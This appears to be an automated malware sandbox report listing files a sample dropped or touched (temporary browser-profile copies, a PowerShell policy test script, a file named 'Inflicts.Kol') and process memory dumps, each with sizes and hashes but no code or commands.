SHA512 b021b24fac3cba795ea5165108a79853a9f2b1c3ba78359c4f251e3b1953fc6b1ab753658c2bc8d11dfcb2dd5b696d89240e8c99fd41a5146615c8553f8905f2
SSDEEP 768:nlSWiS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVILlU8rUgN9L:nlSWiSu1jaJLmgNp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences
Size 15KB
SHA256 56cf9ec20fd3892b742bf6518f974734d753e9fd5157b33199d8b82c8a09c318
MD5 e2f6740589a4b570eae3bde32ad6e60e
SHA1 f480cb3fe10ff7338916edbea9ed63bd01175122
SHA512 4148c0ab36f82aa31d3343eeae7c16e7c66b948aa0124efa207b76ae067b33c8b4495faa25f6f2241408bc400f45e86b3c33ec0d2c5323065b320747565ac42e
SSDEEP 384:ptGb7pLhLcGQxEXCA1kXqKf/pUZNCgVLH2HfSRkrUstHG5uyt7:pAb7pLhLL8WCA1kXqKf/pUZNCgVLH2HK
MD5 SHA1 SHA512 SSDEEP

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log
Size 241B
SHA256 bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd
MD5 9082ba76dad3cf4f527b8bb631ef4bb2
SHA1 4ab9c4a48c186b029d5f8ad4c3f53985499c21b0
SHA512 621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG
Size 279B
SHA256 a1606c47df9932119e8703e76a4aeaac7325f821f286a59da4a357982bdc5cc6
MD5 9c0c82f527ae383ecd650508f5554c34
SHA1 1b17369da742fa391ab33c354d70af237bef282d
SHA512 12215fb3659aed98c767b76b395e3d35c6b66caace8bd0448e4d5779d3f3a963108b81af7613d19440402711eacaaef37a58df2393136b93a9718940ecc986bf
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log
Size 80B
SHA256 3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277
MD5 69449520fd9c139c534e2970342c6bd8
SHA1 230fe369a09def748f8cc23ad70fd19ed8d1b885
SHA512 ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG
Size 263B
SHA256 54f801f52b6302cf870180ec122e9ce18e4e7928983550c76430f414e6bf64ad
MD5 868cc38c0a72dd6bef8abfd0d924fb35
SHA1 69927a2630a9f93616fbeb765a4720027249d9a5
SHA512 942ddf3f094a75d1c4ee54ea068a4aa32b94feec19d0e9b89278bdda9e870cb80dac57b0192795808ec78555debef3da7af546463fb8a2e3dfe593a874c7b0b8
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log
Size 40B
SHA256 f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8
MD5 148079685e25097536785f4536af014b
SHA1 c5ff5b1b69487a9dd4d244d11bbafa91708c1a41
SHA512 c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG
Size 291B
SHA256 312a7e1ee3d3acdb03388d765b2de796699c95ca0c2029709db4627349774b79
MD5 7f436b984e5554f4abe13b74c80ef5e1
SHA1 5c9427cd77acc839f8fdbcb0c778c0f9f4a5be56
SHA512 3f8e8a93965f5301f488b6b53475f7b71212da267bdf4fa92ab478b0f2f057531104b344e5a62b16619d7173438534c13d5064e86b051ff6e8c2a4c8cbbd5230
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log
Size 46B
SHA256 a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a
MD5 90881c9c26f29fca29815a08ba858544
SHA1 06fee974987b91d82c2839a4bb12991fa99e1bdd
SHA512 15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG
Size 267B
SHA256 b9537a6e97b3a2c7e38df162638108b231692a6ff514ed3a3165996b1332ab93
MD5 48f1b332c98de56f62b0e933d34b5a51
SHA1 de8c927da95c00d804259975a645ee31b1cafa97
SHA512 dbaee9054fee1c25d5730de9c3730fb2f488eedad31e65e00ecaf94e44262557a3adb2aefbf9e6f598f31c18a48c1e0de9fe495021239ae7fb91a43a7eaa7d20
MD5 SHA1 SHA512

Submit Download

Top Sites

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites
Size 20KB
SHA256 d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889
MD5 986962efd2be05909f2aaded39b753a6
SHA1 657924eda5b9473c70cc359d06b6ca731f6a1170
SHA512 e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308
SSDEEP 12:TLiNQCZhDu6MvDOF5yEHFxOUwa5qguYZ75fOS2Rccog2IccogL:TLiKCZwE8I6Uwcco5fB2r2oL
MD5 SHA1 SHA512 SSDEEP

Submit Download

Visited Links

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links
Size 128KB
SHA256 8f40963083a9d6303d70813d13e63021f9a692b7dc79357f8e95d83cc8808191
MD5 0f98607819b779324db225f3967df772
SHA1 5654125b888a687dab68504698979acccb45abbc
SHA512 88611c6e9f2c932863d3e654572b1b580cfb0470da55b0adaad93a71611028fbfafe954db84f89ea5e8bfb50940e5434844bc556727735fb1e35197925d90b56
SSDEEP 3:ImtVKHX:IiV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data
Size 114KB
SHA256 2f096461d887e241477076c8253997dd72ea377d369fb47d5d7c93acca8507b2
MD5 8a1715f633e5f803faa2912fbb65cca7
SHA1 0f5dfd5d41dbba80346ef117bc1159b04f94ae43
SHA512 8f8807ee2eef6845e4fa41b2a9203ae5771d81e0b362194aa73163284bbcf654e71cd30f8de560479036a00355707332f81872835ea626e4750150b9b53083f3
SSDEEP 192:KZPM23W/l1jXhPE4nP+hoIky6cNqLVumf:I02m/lxhlnmhouHkVumf
MD5 SHA1 SHA512 SSDEEP

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log
Size 4KB
SHA256 81469946f064f2ece88df296bbd9d325c301b5bf728a893ccb53f0ef2a3062c0
MD5 d38f97db77dc578c6af9f4be67037c73
SHA1 174ead79c7985fc0609ecb773f332b20c07ee60d
SHA512 cd6cce069213d8112abf05cc4e26663f3220ccf629baf72a746b8b15505d37f97965882698fe506ec45230f0532bc5451b8e0fe174b072f0762994072c789d00
SSDEEP 96:Ujp/m5V1IaCKMy8BVSQeGGmD66pjs8PXh6UYTTWTT8TTQTTfh:iWfmVSdGGWPRg+UIXh
MD5 SHA1 SHA512 SSDEEP

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG
Size 265B
SHA256 539db572c08607bb7d2c377b3420d46d794176d93aa08744f7e5868c3f1c5dd5
MD5 d5ce753bb11769a4493ff104a6d6645d
SHA1 434d275bdd64fdac41d7c3e660fe5f348dc85ae4
SHA512 cf0d2fae442d7ae0df5eb4044ec496e1420e78636301c6e79d886c475cd6d521464bc98987a03c0f62d21208b8a943dc92527650621150f09968d0c7283cafdd
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log
Size 682B
SHA256 fa9b8d133e1a7a2ea6b8a0fc866085c7d43f725d98930f301ef461d8680186fe
MD5 8e646e70a6acac4029935203f9fcef5e
SHA1 0196725f3aff0b4f79d2180e517c415a00222132
SHA512 dbc306aec365e28aca33fb88c3ae53cc52baadaf73a96e5e1896c6e4619bb34eaae600adcc914a90e48f3776991a64c182849299eb21b65af6dcac6a4dd1a5ed
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG
Size 283B
SHA256 bf73ecaba8c8dbb1769f6e1e427e217ece94bee628ce0f5ac92814b30cf150cb
MD5 874178476ac459ec2a9fb14165f37cdd
SHA1 d2a271f883c854a7095dbc7329b0a464c5e99ea6
SHA512 98ec1ae729f01800f9445ed94450aea218b1d414f5048db6dea05ce66f6aabd2c069ea1f1efb109ae2160758e41cd5986faea6519bdff1595b8a957ced7df28f
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version
Size 11B
SHA256 ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa
MD5 838a7b32aefb618130392bc7d006aa2e
SHA1 5159e0f18c9e68f0e75e2239875aa994847b8290
SHA512 9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State
Size 8KB
SHA256 9ce13384f776b3ebb8e0c0a418b61090235bf33803423300fe4b9c2bd2ec747a
MD5 0f232086211230c987dfaa97316cdda2
SHA1 89f90c1cc6577e346346fe25e4c79ddb2d029841
SHA512 db0b4b79dd1764f4c379325dbf8a6d3cbeedc4771731d557b81b8fb00cc142b81fce9ae0b86d84559c350c40143aa315d521d0088b80caef2add480973869b84
SSDEEP 192:doCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupXCKe2RUmk4nw2ju:R9iIxuERzA83h09RZxYldwcu
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State
Size 116KB
SHA256 73bf02a0d07ec0dda4d6ec16a79a4d73396923e5bef5dad91e1c0db965083e0b
MD5 09368884c09befec31894bb90946459f
SHA1 485f538b65e8c7ed68f65b5797a4fe56c8814a48
SHA512 50d6956d0242175843dc03cb3b58bc4aa7f6e023062d97136e435520539864dca900f96bc3119a62c3a4dbcffc7ddf1f6a1c33eb5838a6f88c6b3a374df73907
SSDEEP 3072:nucZ6UZsu46J8ixse6HWNMk6YILigpcehoroaen:uNUZt46Jlxse6HWNj6YHgta9en
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_2cy2vhds.1ia.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2cy2vhds.1ia.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

rahzsp

Path C:\Users\Admin\AppData\Local\Temp\rahzsp
Size 4KB
SHA256 36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c
MD5 16dfb23eaa7972c59c36fcbc0946093b
SHA1 1e9e3ff83a05131575f67e202d352709205f20f8
SHA512 a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc
SSDEEP 48:wvvv0lxfvvclxfdvv0lxBvv0lxakvv0l7:mvcxv0p1vcPvcbvc7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Inflicts.Kol

Path C:\Users\Admin\AppData\Roaming\Inflicts.Kol
Size 451KB
SHA256 e1171748791ea73409433b75b28fd35fcd327d76e909eed3bfcd033c1e6e1982
MD5 a0ead43a9e0373f5a840cf296b8b62ba
SHA1 e4a16dcdd161437d6aa66b5f2e8a8f2350f83c07
SHA512 5371b93899ffa12cbc5e5f99a03a3ac39eef2fce77030e3998efa88f71d907184476ee36aa3b4c0808a58138a323bb0a0cb9bb1380c4dc1ef1eb704f30f4d8ff
SSDEEP 6144:evIQa85vVrdnrYlPjsFxFaBPqa1pudG2TomfFudgyilnPBLM2u7F5EJGHV:5od0jsBKiiu4Q5fFDTS2u7IJYV
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3812-46-0x0000000007310000-0x0000000007332000-memory.dmp

Download

memory/3812-28-0x0000000005930000-0x0000000005996000-memory.dmp

Download

memory/3812-25-0x0000000002800000-0x0000000002836000-memory.dmp

Download

memory/3812-26-0x0000000005300000-0x0000000005928000-memory.dmp

Download

memory/3812-27-0x0000000005240000-0x0000000005262000-memory.dmp

Download

memory/3812-29-0x00000000059A0000-0x0000000005A06000-memory.dmp

Download

memory/3812-39-0x0000000005AD0000-0x0000000005E24000-memory.dmp

Download

memory/3812-41-0x0000000006110000-0x000000000612E000-memory.dmp

Download

memory/3812-42-0x0000000006140000-0x000000000618C000-memory.dmp

Download

memory/3812-43-0x0000000007940000-0x0000000007FBA000-memory.dmp

Download

memory/3812-44-0x00000000066A0000-0x00000000066BA000-memory.dmp

Download

memory/3812-45-0x0000000007370000-0x0000000007406000-memory.dmp

Download

memory/3812-47-0x0000000008570000-0x0000000008B14000-memory.dmp

Download

memory/3812-49-0x0000000008B20000-0x000000000C013000-memory.dmp

Download

memory/3864-217-0x00000000222D0000-0x00000000222E9000-memory.dmp

Download

memory/3864-73-0x0000000021BC0000-0x0000000021BF4000-memory.dmp

Download

memory/3864-69-0x0000000021BC0000-0x0000000021BF4000-memory.dmp

Download

memory/3864-62-0x0000000000EC0000-0x0000000002114000-memory.dmp

Download

memory/3864-72-0x0000000021BC0000-0x0000000021BF4000-memory.dmp

Download

memory/3864-220-0x00000000222D0000-0x00000000222E9000-memory.dmp

Download

memory/3864-221-0x00000000222D0000-0x00000000222E9000-memory.dmp

Download

memory/4276-24-0x00007FFCCB5A0000-0x00007FFCCC061000-memory.dmp

Download

memory/4276-20-0x00007FFCCB5A0000-0x00007FFCCC061000-memory.dmp

Download

memory/4276-10-0x000001C1FA060000-0x000001C1FA082000-memory.dmp

Download

memory/4276-15-0x00007FFCCB5A0000-0x00007FFCCC061000-memory.dmp

Download

memory/4276-16-0x00007FFCCB5A0000-0x00007FFCCC061000-memory.dmp

Download

memory/4276-19-0x00007FFCCB5A3000-0x00007FFCCB5A5000-memory.dmp

Download

memory/4276-21-0x00007FFCCB5A0000-0x00007FFCCC061000-memory.dmp

Download

memory/4276-4-0x00007FFCCB5A3000-0x00007FFCCB5A5000-memory.dmp

Download

memory/4304-204-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4304-201-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4304-206-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4304-208-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4396-202-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4396-207-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4396-209-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4816-203-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4816-210-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4816-212-0x0000000000400000-0x0000000000424000-memory.dmp

Download